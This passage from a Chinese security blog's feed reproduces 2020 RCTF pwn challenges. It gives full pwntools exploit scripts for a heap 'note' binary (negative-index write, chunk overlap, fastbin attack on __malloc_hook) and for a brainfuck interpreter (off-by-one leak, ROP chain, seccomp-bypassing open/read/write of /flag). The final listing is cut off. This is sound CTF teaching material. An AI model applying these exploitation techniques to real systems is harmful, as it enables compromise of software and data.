one的利用总的来说思路有：</p><ol><li>如果能修改到指针，那么可以尝试构造unlink和任意读写</li><li>如果只能修改堆块的size，那么可以尝试chunk overlap</li></ol>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;b00ks&quot;&gt;&lt;a href=&quot;#b00ks&quot; class=&quot;headerlink&quot; title=&quot;b00ks&quot;&gt;&lt;/a&gt;b00ks&lt;/h2&gt;&lt;p&gt;这是一道asis ctf 2016的题目，主要功能是书本记录，除了基本的书本的增删改查功能，还有一个作者名称的改变。
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="heap" scheme="https://hurricane618.me/tags/heap/"/>
    
  </entry>
  
  <entry>
    <title>2020RCTF 几道pwn题的复现</title>
    <link href="https://hurricane618.me/2020/08/01/2020rctf-some-pwn/"/>
    <id>https://hurricane618.me/2020/08/01/2020rctf-some-pwn/</id>
    <published>2020-08-01T06:29:06.000Z</published>
    <updated>2020-10-12T01:24:17.406Z</updated>
    
    <content type="html"><![CDATA[<p>博客长草严重，上半年摸鱼太久。最近趁着有空开始复现之前的一些题目，这次做了2020RCTF的几道pwn题，本来还想着把MIPS那道题做出来再发，结果发现MIPS的调试还有很多问题，所以就先发常规一点的题。</p><h2 id="note"><a href="#note" class="headerlink" title="note"></a>note</h2><p>最经典的菜单堆题，还是note管理系统。64位程序，保护全开。主要功能有new，sell，show，edit，经典的增删查改，除了基本功能之外，还有两个额外的功能，一个是<code>super note</code>，一个是越界写数据但是只能操作一次。</p><p>这个题的<code>super note</code>是个幌子，最后完全没有用到。它的数据结构是三个部分组成，开头是一个指针指向我们申请的message区域，第二块是size，表示message的大小，第三块是表示money。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">+---------------+-----------&gt;+-------------+</span><br><span class="line">|     ptr       |            |             |</span><br><span class="line">|               |            |   message   |</span><br><span class="line">+---------------+            |             |</span><br><span class="line">|     size      |            +-------------+</span><br><span class="line">|               |</span><br><span class="line">+---------------+</span><br><span class="line">|     money     |</span><br><span class="line">|               |</span><br><span class="line">+---------------+</span><br></pre></td></tr></table></figure><h3 id="绕过money的限制"><a href="#绕过money的限制" class="headerlink" title="绕过money的限制"></a>绕过money的限制</h3><p>这里利用了它的index可以为负数的问题，我们可以向前修改数据，并且恰巧在index=-5时ptr的位置处有一个指针，它指向自己地址，同时在它的后面有存储着money的变量地址。这样我们就可以编辑下标为-5的地方，输入我们的值把money变大绕过分配note的限制。</p><p><code>edit(-5,&#39;a&#39;*8 + p64(0xfffffffffffffff) + &#39;\x01&#39;)</code></p><p>由于分配内存需要消耗<code>size*857</code>的钱，出售只能得到<code>size*64</code>的钱，所以这里还有另外一种绕过的方法，利用了寄存器溢出的问题，我们给一个很大的数，这个数<code>n</code>能够满足<code>n*857</code>溢出，<code>n*64</code>不会溢出，这样我们在用<code>money</code>比较<code>n*857</code>就能通过，但是在出售的时候却没有溢出，这个数就会很大，出售得到的钱足够我们使用。</p><p><code>new(0, 21524788884141834) sell(0)</code></p><h3 id="chunk-overlap"><a href="#chunk-overlap" class="headerlink" title="chunk overlap"></a>chunk overlap</h3><p>因为我们有一次越界写的机会，所以能轻松的修改掉chunk的size区域实现overlap。</p><p>由于有tcache的存在，我们需要分配超过<code>small bin</code>大小的chunk释放后才能进入<code>unsorted bin</code>。我们在头部和尾部分配小chunk，头部chunk拿来溢出，尾部chunk为了避免和<code>top chunk</code>合并。溢出修改size之后释放，就会进入<code>unsorted bin</code>，它的<code>fd</code>和<code>bk</code>指针会指向<code>main_arena</code>区域，随后我们分配它原始大小的chunk，这样剩下的部分会移动进overlap的chunk中，这个时候再使用show功能泄露地址，通过<code>main_arena</code>我们可以计算出libc基地址。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">new(<span class="number">1</span>, <span class="number">0x20</span>)</span><br><span class="line">new(<span class="number">2</span>, <span class="number">0x300</span>)  <span class="comment"># 0x100</span></span><br><span class="line">new(<span class="number">3</span>, <span class="number">0x60</span>)  <span class="comment"># 0x70</span></span><br><span class="line">new(<span class="number">4</span>, <span class="number">0x60</span>)  <span class="comment"># 0x70</span></span><br><span class="line">new(<span class="number">5</span>, <span class="number">0x60</span>)</span><br><span class="line">new(<span class="number">6</span>, <span class="number">0x10</span>)</span><br><span class="line"></span><br><span class="line">once(<span class="number">1</span>,<span class="string">'a'</span>*<span class="number">0x28</span> + p64(<span class="number">0x461</span>))</span><br><span class="line"></span><br><span class="line">sell(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">new(<span class="number">2</span>, <span class="number">0x300</span>)</span><br><span class="line">show(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">leak_addr = u64(io.recvn(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">'\x00'</span>))</span><br></pre></td></tr></table></figure><p>除了使用<code>unsorted bin</code>来泄露地址之外，还可以使用<code>large bin</code>的chunk来泄露地址。</p><h3 id="fastbin-attack"><a href="#fastbin-attack" class="headerlink" title="fastbin attack"></a>fastbin attack</h3><p>在知道libc基地址之后，我们剩下的工作就是向<code>__malloc_hook</code>或者<code>__free_hook</code>中写入<code>one_gadget</code>。首先，我们新分配一个大小为0x60的note，这个的chunk会和原来的index=3的note重合，我们再释放index=3的note，为了让它进入<code>fastbin</code>，我们必须要先把<code>tcache</code>塞满7个。释放之后，我们拿新分配的note写入需要伪造的地址，这样我们再次分配两次，第二次就能拿到伪造地址的chunk。</p><p>这个伪造地址也是很讲究的，它的size区域必须要符合fastbin的检查，而为了方便我们一般会写<code>__malloc_hook</code>之前偏移的一部分，通过偏移能够凑出size大小为<code>0x7f</code>，同时我们还能覆盖<code>__realloc_hook</code>。如果我们的one_gadget无法满足条件，那么我们可以在<code>__realloc_hook</code>中写入one_gadget，<code>__malloc_hook</code>中写入<code>__libc_realloc</code>加上一定偏移。这个偏移是决定pop的数量，为了满足条件以此来调整栈的位置。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">new(<span class="number">7</span>, <span class="number">0x60</span>)</span><br><span class="line">sell(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">edit(<span class="number">7</span>, p64(fake_addr))</span><br><span class="line">new(<span class="number">8</span>, <span class="number">0x60</span>)</span><br><span class="line">new(<span class="number">9</span>, <span class="number">0x60</span>)</span><br><span class="line"></span><br><span class="line">edit(<span class="number">9</span>, <span class="string">'a'</span>*<span class="number">11</span> + p64(one_gadget) + p64(realloc_addr+<span class="number">8</span>))</span><br><span class="line"></span><br><span class="line">new(<span class="number">3</span>, <span class="number">0x20</span>)</span><br></pre></td></tr></table></figure><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>一道<code>chunk overlap</code>+<code>fastbin attack</code>的题目。里面通过调试学到了一个有趣的地方，<code>calloc</code>在分配chunk的时候，不会从tcache中拿chunk，仔细想想<code>calloc</code>在分配的时候会对内存做初始化操作，可能也是因为这个原因所以分配tcache缓存的意义不大。（纯属推测）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">io = process(<span class="string">'./note'</span>)</span><br><span class="line"><span class="comment">#io = remote('124.156.135.103', 6004)</span></span><br><span class="line"></span><br><span class="line">context(log_level=<span class="string">'debug'</span>)</span><br><span class="line">libc = ELF(<span class="string">'./libc.so.6'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">new</span><span class="params">(index, size)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">'Choice: '</span>)</span><br><span class="line">    io.send(<span class="string">'1'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line">    io.send(str(index))</span><br><span class="line">    io.recvuntil(<span class="string">'Size: '</span>)</span><br><span class="line">    io.send(str(size))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">sell</span><span class="params">(index)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">'Choice: '</span>)</span><br><span class="line">    io.send(<span class="string">'2'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line">    io.send(str(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span><span class="params">(index)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">'Choice: '</span>)</span><br><span class="line">    io.send(<span class="string">'3'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line">    io.send(str(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span><span class="params">(index, message)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">'Choice: '</span>)</span><br><span class="line">    io.send(<span class="string">'4'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line">    io.send(str(index))</span><br><span class="line">    io.recvuntil(<span class="string">'Message: '</span>)</span><br><span class="line">    io.sendline(message)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">once</span><span class="params">(index, message)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">'Choice: '</span>)</span><br><span class="line">    io.send(<span class="string">'7'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line">    io.send(str(index))</span><br><span class="line">    io.recvuntil(<span class="string">'Message: '</span>)</span><br><span class="line">    io.send(message)</span><br><span class="line"></span><br><span class="line">pause()</span><br><span class="line">new(<span class="number">0</span>, <span class="number">21524788884141834</span>)</span><br><span class="line">sell(<span class="number">0</span>)</span><br><span class="line">pause()</span><br><span class="line">edit(<span class="number">-5</span>,<span class="string">'a'</span>*<span class="number">8</span> + p64(<span class="number">0xfffffffffffffff</span>) + <span class="string">'\x01'</span>)  <span class="comment"># fill money with 0xfffffffffffffff</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>):</span><br><span class="line">    new(i, <span class="number">0x60</span>)</span><br><span class="line">    sell(i)</span><br><span class="line"></span><br><span class="line">new(<span class="number">1</span>, <span class="number">0x20</span>)</span><br><span class="line">new(<span class="number">2</span>, <span class="number">0x300</span>)  <span class="comment"># 0x100</span></span><br><span class="line">new(<span class="number">3</span>, <span class="number">0x60</span>)  <span class="comment"># 0x70</span></span><br><span class="line">new(<span class="number">4</span>, <span class="number">0x60</span>)  <span class="comment"># 0x70</span></span><br><span class="line">new(<span class="number">5</span>, <span class="number">0x60</span>)</span><br><span class="line">new(<span class="number">6</span>, <span class="number">0x10</span>)</span><br><span class="line">pause()</span><br><span class="line"></span><br><span class="line">once(<span class="number">1</span>,<span class="string">'a'</span>*<span class="number">0x28</span> + p64(<span class="number">0x461</span>))</span><br><span class="line"></span><br><span class="line">sell(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">new(<span class="number">2</span>, <span class="number">0x300</span>)</span><br><span class="line">show(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">leak_addr = u64(io.recvn(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">'\x00'</span>))</span><br><span class="line"></span><br><span class="line">log.info(<span class="string">'leak_addr: '</span> + hex(leak_addr))</span><br><span class="line"></span><br><span class="line">main_arena = leak_addr - <span class="number">96</span></span><br><span class="line"><span class="comment"># libc_addr = main_arena - 0x3ebc40</span></span><br><span class="line"><span class="comment"># one_gadget = libc_addr + 0x4f322  # 0x4f2c5 0x10a38c</span></span><br><span class="line"></span><br><span class="line">libc_addr = main_arena - <span class="number">0x1e4c40</span></span><br><span class="line">one_gadget = libc_addr + <span class="number">0x106ef8</span></span><br><span class="line"></span><br><span class="line">malloc_hook = libc_addr + libc.sym[<span class="string">'__malloc_hook'</span>]</span><br><span class="line">realloc_addr = libc_addr + libc.sym[<span class="string">'__libc_realloc'</span>]</span><br><span class="line"></span><br><span class="line">log.info(<span class="string">'libc: '</span> + hex(libc_addr))</span><br><span class="line">log.info(<span class="string">'malloc_hook: '</span> + hex(malloc_hook))</span><br><span class="line"></span><br><span class="line">fake_addr = malloc_hook - <span class="number">0x23</span></span><br><span class="line"></span><br><span class="line">new(<span class="number">7</span>, <span class="number">0x60</span>)</span><br><span class="line">sell(<span class="number">3</span>)</span><br><span class="line">pause()</span><br><span class="line">edit(<span class="number">7</span>, p64(fake_addr))</span><br><span class="line">new(<span class="number">8</span>, <span class="number">0x60</span>)</span><br><span class="line">new(<span class="number">9</span>, <span class="number">0x60</span>)</span><br><span class="line"></span><br><span class="line">edit(<span class="number">9</span>, <span class="string">'a'</span>*<span class="number">11</span> + p64(one_gadget) + p64(realloc_addr+<span class="number">8</span>))</span><br><span class="line">pause()</span><br><span class="line">new(<span class="number">3</span>, <span class="number">0x20</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h2 id="bf"><a href="#bf" class="headerlink" title="bf"></a>bf</h2><p>一道头秃的c++题目，仔细分析代码可以知道我们输入的code会被当做brainfuck代码解析，随后执行。漏洞点出现在移动指针的操作上。</p><img src="/2020/08/01/2020rctf-some-pwn/1.png"><p>这里退出的条件是指针大于字符串的地址，忽视了等于的时候，所以可以正好读取或者修改字符串的最低字节。而这个最低字节刚好是字符串结构的一个指针它指向存储数据的buf地址，当字符串的长度小于等于16时会把结构体放在栈上。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">string</span>&#123;</span></span><br><span class="line">    <span class="keyword">char</span>* ptr;</span><br><span class="line">    <span class="keyword">size_t</span> len;</span><br><span class="line">    <span class="keyword">char</span> buf[<span class="number">0x10</span>];</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们要做的是覆盖这个指针让它指向其他位置，通过再次写入内容可以完成rop chain。在这之后的这道题限制了<code>execve</code>，所以只能使用orw的方法获取flag。</p><h3 id="泄露stack和libc地址"><a href="#泄露stack和libc地址" class="headerlink" title="泄露stack和libc地址"></a>泄露stack和libc地址</h3><p>首先，我们需要泄露出指针的最低位，因为在最后返回的时候需要把指针最低位还原，不然析构函数会报错。</p><p>输入brainfuck的代码<code>,[.&gt;,]&gt;.</code>，其中<code>,</code>读入一字节写入到当前位置，<code>[]</code>类似于循环如果当前位置的数据不为0则会从<code>]</code>跳回<code>[</code>，<code>.</code>输出当前位置的数据，<code>&gt;</code>指针向前移动一个字节。总结来说，这段代码就是可以不断的读输入直到有<code>\x00</code>出现循环退出，再移动一位输出数据。</p><p>输入这段代码之后，我们输入0x3ff的数据末尾跟着<code>\x00</code>，这样就能移动0x400字节大小读取到string的最低字节。在获得最低字节后会判断这个是否符合我们攻击的要求，因为最低字节过大会让后面写入的rop chain超过可控范围。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">p.sendline(<span class="string">",[.&gt;,]&gt;."</span>)</span><br><span class="line">p.send(<span class="string">"B"</span>*<span class="number">0x3ff</span>+<span class="string">'\x00'</span>)  <span class="comment"># 0x400</span></span><br><span class="line">p.recvuntil(<span class="string">"running....\n"</span>)</span><br><span class="line">p.recvuntil(<span class="string">"B"</span>*<span class="number">0x3ff</span>)</span><br><span class="line">low_bit = ord(p.recv(<span class="number">1</span>))</span><br><span class="line">info(<span class="string">'low_bit: '</span>+ hex(low_bit))</span><br><span class="line"><span class="keyword">if</span> low_bit + <span class="number">0x70</span> &gt;= <span class="number">0x100</span>: <span class="comment"># :(</span></span><br><span class="line">    sys.exit(<span class="number">0</span>)</span><br></pre></td></tr></table></figure><p>有了合适的最低字节之后，我们查看栈上有没有可以利用到的数据。</p><img src="/2020/08/01/2020rctf-some-pwn/2.png"><p>在地址<code>0x7ffd464a22d0</code>后面偏移0x20的位置处能看到一个和栈相关的地址，泄露出来我们就能获得栈地址，再往后面看到返回地址处是libc相关的，所以我们再次泄露出返回地址就能得到libc的基地址。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># leak stack</span></span><br><span class="line">p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">p.sendline(<span class="string">",[&gt;,]&gt;,"</span>)</span><br><span class="line">p.recvuntil(<span class="string">"running....\n"</span>)</span><br><span class="line">p.send(<span class="string">"B"</span>*<span class="number">0x3ff</span>+<span class="string">'\x00'</span>)</span><br><span class="line">p.send(chr(low_bit+<span class="number">0x20</span>))  </span><br><span class="line">p.recvuntil(<span class="string">"your code: "</span>)</span><br><span class="line">stack = u64(p.recvuntil(<span class="string">"\n"</span>,drop=<span class="keyword">True</span>).ljust(<span class="number">8</span>,<span class="string">"\x00"</span>)) - <span class="number">0xd8</span>  </span><br><span class="line">info(<span class="string">"stack : "</span> + hex(stack))</span><br><span class="line">p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">p.send(<span class="string">'y'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># leak libc</span></span><br><span class="line">p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">p.sendline(<span class="string">",[&gt;,]&gt;,"</span>)</span><br><span class="line">p.recvuntil(<span class="string">"running....\n"</span>)</span><br><span class="line">p.send(<span class="string">"B"</span>*<span class="number">0x3ff</span>+<span class="string">'\x00'</span>)</span><br><span class="line">p.send(chr(low_bit+<span class="number">0x38</span>))</span><br><span class="line">p.recvuntil(<span class="string">"your code: "</span>)</span><br><span class="line">libc.address = u64(p.recvuntil(<span class="string">"\n"</span>,drop=<span class="keyword">True</span>).ljust(<span class="number">8</span>,<span class="string">"\x00"</span>)) - <span class="number">0x21b97</span></span><br><span class="line">info(<span class="string">"libc : "</span> + hex(libc.address))</span><br><span class="line">p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">p.send(<span class="string">'y'</span>)</span><br></pre></td></tr></table></figure><h3 id="构造ROP-chain执行read"><a href="#构造ROP-chain执行read" class="headerlink" title="构造ROP chain执行read"></a>构造ROP chain执行read</h3><p>首先是找gadget，<code>pop rdi</code>之类的还是很好找的，用工具一下就能出来，但是这个<code>syscall; ret;</code>的gadget用工具没有找到，所以我在libc中开始人工查找，最后发现了<code>get_uid</code>之类的函数，它的整体就只有三句汇编，最后两句就是我们想要的。这里就学到了一点，以后找syscall的gadget直接找<code>get_uid</code>就好了。</p><p>然后是写入数据了，发现一个问题，那就是我们写入数据是利用的之前写brainfuck代码的功能，这个栈空间因为我们输入的代码字符串被破坏，而每次写入的15字节中的前8个字节会被覆盖成我们输入的brainfuck代码，所以这里采用每轮循环会重复写入一段数据来消除这种影响。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">write_low_bit</span><span class="params">(low_bit,offset)</span>:</span></span><br><span class="line">    p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">    p.sendline(<span class="string">",[&gt;,]&gt;,"</span>)</span><br><span class="line">    p.recvuntil(<span class="string">"running....\n"</span>)</span><br><span class="line">    p.send(<span class="string">"B"</span>*<span class="number">0x3ff</span>+<span class="string">'\x00'</span>)</span><br><span class="line">    p.send(chr(low_bit+offset))</span><br><span class="line">    p.recvuntil(<span class="string">"your code: "</span>)</span><br><span class="line">    p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">    p.send(<span class="string">'y'</span>)</span><br><span class="line">    p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">    p.sendline(<span class="string">"\x00"</span>*<span class="number">0xf</span>)</span><br><span class="line">    p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">    p.send(<span class="string">'y'</span>)</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">rop_chain = [</span><br><span class="line">    <span class="number">0</span>,<span class="number">0</span>,p_rdi,<span class="number">0</span>,p_rdx_rsi,<span class="number">0x100</span>,stack,libc.symbols[<span class="string">"read"</span>]</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">rop_chain_len = len(rop_chain)  <span class="comment"># len=8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(rop_chain_len<span class="number">-1</span>,<span class="number">0</span>,<span class="number">-1</span>):</span><br><span class="line">    write_low_bit(low_bit,<span class="number">0x57</span><span class="number">-8</span>*(rop_chain_len<span class="number">-1</span>-i))</span><br><span class="line">    p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">    p.sendline(<span class="string">'\x00'</span>+p64(rop_chain[i<span class="number">-1</span>])+p64(rop_chain[i])[:<span class="number">6</span>])</span><br><span class="line">    p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">    p.send(<span class="string">'y'</span>)</span><br></pre></td></tr></table></figure><p>这种输入刚好让rop chain能够覆盖到返回地址，在函数返回之后会读入orw的rop来绕过seccomp的限制。其中比较巧妙的是利用错位和<code>\x00</code>来补位。</p><h3 id="read读入orw获得flag"><a href="#read读入orw获得flag" class="headerlink" title="read读入orw获得flag"></a>read读入orw获得flag</h3><p>剩下的就是构造orw的rop来完成最后的利用，因为我们的上个rop的长度是0x30，而我们的stack是返回地址，所以我们的rop起点是stack+0x30，读入是从stack开始的，所以前面空出的0x30数据段可以填入<code>/flag</code>。</p><p>需要记得在最后退出主函数之前，需要把字符串的指针地址复原。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">write_low_bit(low_bit,<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">"enter your code:\n"</span>)</span><br><span class="line">p.sendline(<span class="string">''</span>)</span><br><span class="line">p.recvuntil(<span class="string">"continue?\n"</span>)</span><br><span class="line">p.send(<span class="string">'n'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">payload = <span class="string">"/flag"</span>.ljust(<span class="number">0x30</span>,<span class="string">'\x00'</span>)</span><br><span class="line">payload += flat([</span><br><span class="line">    p_rax,<span class="number">2</span>,p_rdi,stack,p_rdx_rsi,<span class="number">0</span>,<span class="number">0</span>,syscall_ret,</span><br><span class="line">    p_rdi,<span class="number">3</span>,p_rdx_rsi,<span class="number">0x80</span>,stack+<span class="number">0x200</span>,p_rax,<span class="number">0</span>,syscall_ret,</span><br><span class="line">    p_rax,<span class="number">1</span>,p_rdi,<span class="number">1</span>,syscall_ret</span><br><span class="line">])</span><br><span class="line">pause()</span><br><span class="line">p.send(payload.ljust(<span class="number">0x100</span>,<span class="string">'\x00'</span>))</span><br></pre></td></tr></table></figure><h3 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h3><p>整道题比较有趣的地方是那个如何控制好写入rop chain，使用到brainfuck代码来完成持续的写入。通过这道题也了解到C++中string的结构。这里给出官方的exp，完整exp如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span 